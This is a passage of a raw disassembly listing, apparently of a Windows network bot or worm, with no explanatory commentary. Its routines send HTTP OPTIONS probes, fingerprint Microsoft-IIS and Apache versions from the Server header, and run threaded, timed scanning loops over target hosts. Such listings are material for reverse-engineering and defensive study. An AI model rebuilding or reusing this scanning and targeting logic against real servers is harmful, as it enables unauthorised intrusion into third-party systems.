CODE XREF: sub_412D56+32j ; sub_412D56+56j ... leave retn 4 sub_412D56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E04 proc near ; DATA XREF: sub_412F07+B0o var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AA = byte ptr -1AAh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B8h push 1ADh push [ebp+arg_0] lea eax, [ebp+var_1B4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1B0] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412E59 push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax jmp locret_412F03 ; --------------------------------------------------------------------------- loc_412E59: ; CODE XREF: sub_412E04+40j lea eax, [ebp+var_1B0] push eax mov eax, [ebp+var_1B4] push dword ptr [eax] push offset dword_41CC4C lea eax, [ebp+var_1AA] push eax call sub_40D53F add esp, 10h lea eax, [ebp+var_1B0] push eax push offset dword_41EAF4 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412E8F: ; CODE XREF: sub_412E04+B7j ; sub_412E04:loc_412EEAj mov eax, [ebp+var_1B4] cmp dword ptr [eax+4], 0 jz short loc_412E9D jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412E9D: ; CODE XREF: sub_412E04+95j push 3E8h push [ebp+var_4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1B8], eax cmp [ebp+var_1B8], 0FFFFFFFFh jnz short loc_412EBD jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EBD: ; CODE XREF: sub_412E04+B5j cmp [ebp+var_1B8], 0 jnz short loc_412EC8 jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412EC8: ; CODE XREF: sub_412E04+C0j push [ebp+var_1B8] push offset sub_412D56 call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_412EEA push [ebp+var_1B8] call sub_4053B1 pop ecx loc_412EEA: ; CODE XREF: sub_412E04+D8j jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EEC: ; CODE XREF: sub_412E04+97j ; sub_412E04+C2j push [ebp+var_4] call sub_404CBB pop ecx push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax locret_412F03: ; CODE XREF: sub_412E04+50j leave retn 4 sub_412E04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep ; sub_41349C+2C7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_412F26 jmp locret_412FC4 ; --------------------------------------------------------------------------- loc_412F26: ; CODE XREF: sub_412F07+18j cmp [ebp+arg_4], 0 jz short loc_412F3A push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax jmp short loc_412F4E ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412F07+23j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_C], eax loc_412F4E: ; CODE XREF: sub_412F07+31j mov eax, [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_412F63 cmp [ebp+var_4], 0FFFFh jbe short loc_412F77 loc_412F63: ; CODE XREF: sub_412F07+51j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_4], eax loc_412F77: ; CODE XREF: sub_412F07+5Aj push 0Ah mov eax, [ebp+var_8] add eax, 4 push eax push [ebp+var_4] call sub_416F7A ; _itoa add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx push [ebp+var_4] push offset dword_41CC84 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_412E04 call sub_4095A4 add esp, 14h locret_412FC4: ; CODE XREF: sub_412F07+1Aj leave retn sub_412F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FC6 proc near ; CODE XREF: .data:004168CBp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412FD8: ; CODE XREF: sub_412FC6+9j mov eax, [ebp+var_4] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz locret_41308D mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_4] imul ecx, 3Ah mov ecx, dword_41CCCE[ecx] and ecx, 0FFh mov eax, off_41CCD6[eax] sub eax, ecx mov ecx, [ebp+var_4] imul ecx, 3Ah mov off_41CCD6[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah and dword_41CCD2[eax], 0 loc_413024: ; CODE XREF: sub_412FC6+7Ej ; sub_412FC6+BEj call sub_410422 mov ecx, [ebp+var_4] imul ecx, 3Ah mov dword_41CCCE[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah cmp dword_41CCCE[eax], 0 jnz short loc_413046 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413046: ; CODE XREF: sub_412FC6+7Cj and [ebp+var_8], 0 jmp short loc_413053 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_413053: ; CODE XREF: sub_412FC6+84j mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz short loc_413088 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz short loc_413086 mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_8] imul ecx, 3Ah mov eax, dword_41CCCE[eax] cmp eax, dword_41CCCE[ecx] jnz short loc_413086 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412FC6+A2j ; sub_412FC6+BCj jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_412FC6+9Aj jmp loc_412FD1 ; --------------------------------------------------------------------------- locret_41308D: ; CODE XREF: sub_412FC6+1Fj leave retn sub_412FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308F proc near ; CODE XREF: sub_41331E+72p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 820h push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_4130C4 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130C4: ; CODE XREF: sub_41308F+2Cj push 0 push 800h lea eax, [ebp+var_810] push eax push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4130F3 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4130F3 cmp [ebp+var_8], 800h jnz short loc_4130FA loc_4130F3: ; CODE XREF: sub_41308F+53j ; sub_41308F+59j xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130FA: ; CODE XREF: sub_41308F+62j mov eax, [ebp+var_8] and [ebp+eax+var_810], 0 and [ebp+var_4], 0 push offset aServer ; "Server:" lea eax, [ebp+var_810] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41312C xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_41308F+94j lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+var_10] call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413150 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_41308F+B8j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413173 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_41308F+DBj lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41323C and [ebp+var_818], 0 and [ebp+var_814], 0 lea eax, [ebp+var_814] push eax lea eax, [ebp+var_818] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 10h cmp [ebp+var_818], 4 jnz short loc_4131E9 cmp [ebp+var_814], 0 jnz short loc_4131E9 push 4 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4131E9: ; CODE XREF: sub_41308F+147j ; sub_41308F+150j cmp [ebp+var_818], 5 jnz short loc_413203 cmp [ebp+var_814], 0 jnz short loc_413203 push 3 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413203: ; CODE XREF: sub_41308F+161j ; sub_41308F+16Aj cmp [ebp+var_818], 5 jnz short loc_41321D cmp [ebp+var_814], 5 jnz short loc_41321D push 2 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_41308F+17Bj ; sub_41308F+184j cmp [ebp+var_818], 6 jnz short loc_413237 cmp [ebp+var_814], 0 jnz short loc_413237 push 1 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413237: ; CODE XREF: sub_41308F+195j ; sub_41308F+19Ej jmp loc_41331A ; --------------------------------------------------------------------------- loc_41323C: ; CODE XREF: sub_41308F+10Ej cmp [ebp+var_C], 0 jz loc_41331A push 6 push offset aApache ; "Apache" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41331A and [ebp+var_820], 0 lea eax, [ebp+var_820] push eax push offset dword_41CD68 push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 0Ch push 6 push offset dword_41CD60 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch neg eax sbb eax, eax inc eax mov [ebp+var_81C], eax cmp [ebp+var_81C], 1 jnz short loc_4132BE push 7 push offset dword_41CD58 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_4132BE xor eax, eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_41308F+213j ; sub_41308F+229j cmp [ebp+var_820], 1 jnz short loc_4132D5 cmp [ebp+var_81C], 0 jz short loc_4132D5 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132D5: ; CODE XREF: sub_41308F+236j ; sub_41308F+23Fj cmp [ebp+var_820], 1 jnz short loc_4132EC cmp [ebp+var_81C], 0 jnz short loc_4132EC push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132EC: ; CODE XREF: sub_41308F+24Dj ; sub_41308F+256j cmp [ebp+var_820], 2 jnz short loc_413303 cmp [ebp+var_81C], 0 jz short loc_413303 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_413303: ; CODE XREF: sub_41308F+264j ; sub_41308F+26Dj cmp [ebp+var_820], 2 jnz short loc_41331A cmp [ebp+var_81C], 0 jnz short loc_41331A push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: sub_41308F:loc_413237j ; sub_41308F+1B1j ... xor eax, eax locret_41331C: ; CODE XREF: sub_41308F+30j ; sub_41308F+66j ... leave retn sub_41308F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41331E proc near ; DATA XREF: sub_41349C+4EBo ; sub_413CB3+27Co var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch push [ebp+arg_0] lea eax, [ebp+var_14C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 push [ebp+var_10E] call sub_404457 pop ecx pop ecx lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_413381 push [ebp+var_10E] call sub_40538D pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: sub_41331E+4Ej cmp [ebp+var_112], 0 jz short loc_4133B1 push [ebp+var_10E] call sub_41308F pop ecx cmp [ebp+var_112], eax jz short loc_4133B1 push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: sub_41331E+6Aj ; sub_41331E+7Ej cmp [ebp+var_8A], 1 jnz short loc_4133E0 lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_404552 pop ecx pop ecx push offset dword_41EF18 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: sub_41331E+9Aj cmp [ebp+var_8A], 2 jnz short loc_413420 push 0Ah lea eax, [ebp+var_6] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: sub_41331E+C9j call sub_412D4C push eax lea eax, [ebp+var_6] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EF18 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_413444: ; CODE XREF: sub_41331E+C0j ; sub_41331E+100j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_41346F push [ebp+var_10E] push [ebp+var_14C] call sub_412A3A pop ecx pop ecx jmp short loc_41348A ; --------------------------------------------------------------------------- loc_41346F: ; CODE XREF: sub_41331E+13Aj cmp [ebp+var_8A], 2 jnz short loc_41348A lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_412BC9 pop ecx pop ecx loc_41348A: ; CODE XREF: sub_41331E+14Fj ; sub_41331E+158j push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax locret_413498: ; CODE XREF: sub_41331E+5Ej ; sub_41331E+8Ej leave retn 4 sub_41331E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41349C proc near ; DATA XREF: sub_413AB0+1F4o var_774 = qword ptr -774h var_764 = qword ptr -764h var_75C = byte ptr -75Ch var_65C = byte ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_64C = byte ptr -64Ch var_648 = byte ptr -648h var_644 = dword ptr -644h var_640 = byte ptr -640h var_62C = dword ptr -62Ch var_628 = dword ptr -628h var_624 = byte ptr -624h var_51C = byte ptr -51Ch var_50E = dword ptr -50Eh var_50A = dword ptr -50Ah var_506 = dword ptr -506h var_502 = byte ptr -502h var_37B = byte ptr -37Bh var_37A = byte ptr -37Ah var_377 = byte ptr -377h var_36B = byte ptr -36Bh var_36A = byte ptr -36Ah var_35C = dword ptr -35Ch var_358 = dword ptr -358h var_354 = byte ptr -354h var_341 = byte ptr -341h var_296 = dword ptr -296h var_20C = byte ptr -20Ch var_20B = byte ptr -20Bh var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 764h push edi push 2C9h push [ebp+arg_0] lea eax, [ebp+var_628] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_51C] push eax call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_4134F5 push 14Ch push 0 lea eax, [ebp+var_358] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4135BF ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: sub_41349C+3Cj and [ebp+var_62C], 0 jmp short loc_41350B ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: sub_41349C:loc_4135BAj mov eax, [ebp+var_62C] inc eax mov [ebp+var_62C], eax loc_41350B: ; CODE XREF: sub_41349C+60j mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp+var_640] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_640] push eax call sub_4105FB pop ecx lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_640] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4135BA mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCA8 mov [ebp+var_358], eax push 3Ah mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp+var_354] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_354] push eax call sub_4105FB pop ecx lea eax, [ebp+var_341] push eax call sub_4105FB pop ecx and [ebp+var_296], 0 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_51C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4135BF ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: sub_41349C+B0j jmp loc_4134FE ; --------------------------------------------------------------------------- loc_4135BF: ; CODE XREF: sub_41349C+54j ; sub_41349C+11Cj lea eax, [ebp+var_624] push eax call sub_40806A pop ecx test eax, eax jnz short loc_4135E3 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_4135E3: ; CODE XREF: sub_41349C+132j mov al, byte_41DE00 mov [ebp+var_20C], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_20B] rep stosd stosw stosb mov al, byte_41DE00 mov [ebp+var_108], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_107] rep stosd stosw stosb lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch test eax, eax jnz short loc_41364D push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_41364D: ; CODE XREF: sub_41349C+19Cj push [ebp+var_506] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413675 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_413675: ; CODE XREF: sub_41349C+1C4j cmp [ebp+var_358], 0 jz loc_413782 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413782 call sub_4042FB mov [ebp+var_644], eax cmp [ebp+var_644], 0 jz short loc_4136B6 mov [ebp+var_296], 2 jmp short loc_4136C0 ; --------------------------------------------------------------------------- loc_4136B6: ; CODE XREF: sub_41349C+20Cj mov [ebp+var_296], 3 loc_4136C0: ; CODE XREF: sub_41349C+218j movsx eax, [ebp+var_36B] test eax, eax jz short loc_4136E5 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_4136E5 mov [ebp+var_296], 1 loc_4136E5: ; CODE XREF: sub_41349C+22Dj ; sub_41349C+23Dj movsx eax, [ebp+var_37B] test eax, eax jz short loc_4136FA mov [ebp+var_296], 2 loc_4136FA: ; CODE XREF: sub_41349C+252j movsx eax, [ebp+var_37A] test eax, eax jz short loc_41370F mov [ebp+var_296], 3 loc_41370F: ; CODE XREF: sub_41349C+267j cmp [ebp+var_296], 3 jnz short loc_41372B cmp [ebp+var_644], 0 jz short loc_41372B mov [ebp+var_296], 2 loc_41372B: ; CODE XREF: sub_41349C+27Aj ; sub_41349C+283j cmp [ebp+var_296], 3 jnz short loc_413782 mov al, [ebp+var_36A] mov [ebp+var_64C], al mov al, [ebp+var_377] mov [ebp+var_648], al mov [ebp+var_36A], 1 and [ebp+var_377], 0 push 0 lea eax, [ebp+var_502] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_64C] mov [ebp+var_36A], al mov al, [ebp+var_648] mov [ebp+var_377], al loc_413782: ; CODE XREF: sub_41349C+1E0j ; sub_41349C+1F4j ... push offset dword_41E2A8 call sub_409C6C pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset dword_41CE50 mov eax, [ebp+var_628] add eax, 14h push eax call sub_416B5E ; sprintf add esp, 14h push offset dword_41E2A8 call sub_409C7A pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax mov eax, [ebp+var_628] push dword ptr [eax] push offset dword_41CE18 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 18h cmp [ebp+var_358], 0 jnz short loc_413807 push 3E8h call dword_41709C ; Sleep loc_413807: ; CODE XREF: sub_41349C+35Ej and [ebp+var_10C], 0 call sub_416B64 ; clock mov [ebp+var_35C], eax and [ebp+var_4], 0 loc_41381D: ; CODE XREF: sub_41349C+3F9j ; sub_41349C+44Bj ... mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jnz short loc_413847 call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jb short loc_41384C loc_413847: ; CODE XREF: sub_41349C+38Bj jmp loc_413A43 ; --------------------------------------------------------------------------- loc_41384C: ; CODE XREF: sub_41349C+3A9j lea eax, [ebp+var_108] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch push offset dword_41EF18 lea eax, [ebp+var_20C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_413897 jmp short loc_41381D ; --------------------------------------------------------------------------- loc_413897: ; CODE XREF: sub_41349C+3F7j push [ebp+var_8] push 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_20C] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_650], eax cmp [ebp+var_650], 0 jz short loc_4138EC call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jnb short loc_4138EC jmp loc_41381D ; --------------------------------------------------------------------------- loc_4138EC: ; CODE XREF: sub_41349C+42Bj ; sub_41349C+449j push [ebp+var_50A] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_413A35 loc_413909: ; CODE XREF: sub_41349C+4BAj ; sub_41349C:loc_413A30j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_654], eax cmp [ebp+var_654], 0 jnz short loc_413926 jmp loc_413A35 ; --------------------------------------------------------------------------- loc_413926: ; CODE XREF: sub_41349C+483j mov eax, [ebp+var_10C] inc eax mov [ebp+var_10C], eax cmp [ebp+var_358], 0 jz short loc_4139B7 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_658], eax cmp [ebp+var_658], 0 jnz short loc_413958 jmp short loc_413909 ; --------------------------------------------------------------------------- loc_413958: ; CODE XREF: sub_41349C+4B8j push 14Ch lea eax, [ebp+var_358] push eax push [ebp+var_658] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_658] mov ecx, [ebp+var_654] mov [eax+3Eh], ecx push [ebp+var_658] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4139A5 push [ebp+var_658] call sub_416B4C ; free pop ecx jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139A5: ; CODE XREF: sub_41349C+4F9j push [ebp+var_8] push [ebp+var_654] call sub_404D9B pop ecx pop ecx loc_4139B5: ; CODE XREF: sub_41349C+507j jmp short loc_413A30 ; --------------------------------------------------------------------------- loc_4139B7: ; CODE XREF: sub_41349C+49Ej mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jz short loc_4139C5 jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_4139C5: ; CODE XREF: sub_41349C+525j lea eax, [ebp+var_75C] push eax push [ebp+var_654] call sub_4044F7 pop ecx pop ecx mov al, [ebp+var_36A] mov [ebp+var_65C], al and [ebp+var_36A], 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_75C] push eax push offset dword_41CE04 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_65C] mov [ebp+var_36A], al push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_4] add eax, 3E8h mov [ebp+var_4], eax loc_413A30: ; CODE XREF: sub_41349C:loc_4139B5j jmp loc_413909 ; --------------------------------------------------------------------------- loc_413A35: ; CODE XREF: sub_41349C+467j ; sub_41349C+485j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_41381D ; --------------------------------------------------------------------------- loc_413A43: ; CODE XREF: sub_41349C:loc_413847j push [ebp+var_10C] call sub_416B64 ; clock sub eax, [ebp+var_35C] mov dword ptr [ebp+var_764], eax and dword ptr [ebp+var_764+4], 0 fild [ebp+var_764] fdiv flt_417270 push ecx push ecx fstp [esp+774h+var_774] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset unk_41CDC0 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 1Ch push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_628] call sub_409763 pop ecx xor eax, eax loc_413AAB: ; CODE XREF: sub_41349C+142j ; sub_41349C+1ACj ... pop edi leave retn 4 sub_41349C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h cmp [ebp+arg_4], 0 jz short loc_413AC2 cmp [ebp+arg_8], 0 jnz short loc_413AC7 loc_413AC2: ; CODE XREF: sub_413AB0+Aj jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_413AB0+10j push [ebp+arg_8] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_413AEB push [ebp+arg_8] call sub_40422A pop ecx test eax, eax jnz short loc_413AE9 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AE9: ; CODE XREF: sub_413AB0+32j jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413AEB: ; CODE XREF: sub_413AB0+25j and [ebp+var_14], 0 jmp short loc_413AF8 ; --------------------------------------------------------------------------- loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_413AF8: ; CODE XREF: sub_413AB0+3Fj mov eax, [ebp+var_14] imul eax, 3Ah movsx eax, byte_41CCA8[eax] test eax, eax jnz short loc_413B0E jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413AB0+57j mov eax, [ebp+var_14] imul eax, 3Ah add eax, offset byte_41CCA8 push eax lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx push [ebp+arg_8] lea eax, [ebp+var_28] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_413B43 jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413B43: ; CODE XREF: sub_413AB0+8Fj jmp short loc_413AF1 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j ; sub_413AB0+91j cmp [ebp+arg_C], 0 jz short loc_413B59 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_2C], eax jmp short loc_413B60 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413AB0+99j mov [ebp+var_2C], 15180h loc_413B60: ; CODE XREF: sub_413AB0+A7j mov eax, [ebp+var_2C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413B75 cmp [ebp+var_4], 15180h jbe short loc_413B7C loc_413B75: ; CODE XREF: sub_413AB0+BAj mov [ebp+var_4], 15180h loc_413B7C: ; CODE XREF: sub_413AB0+C3j 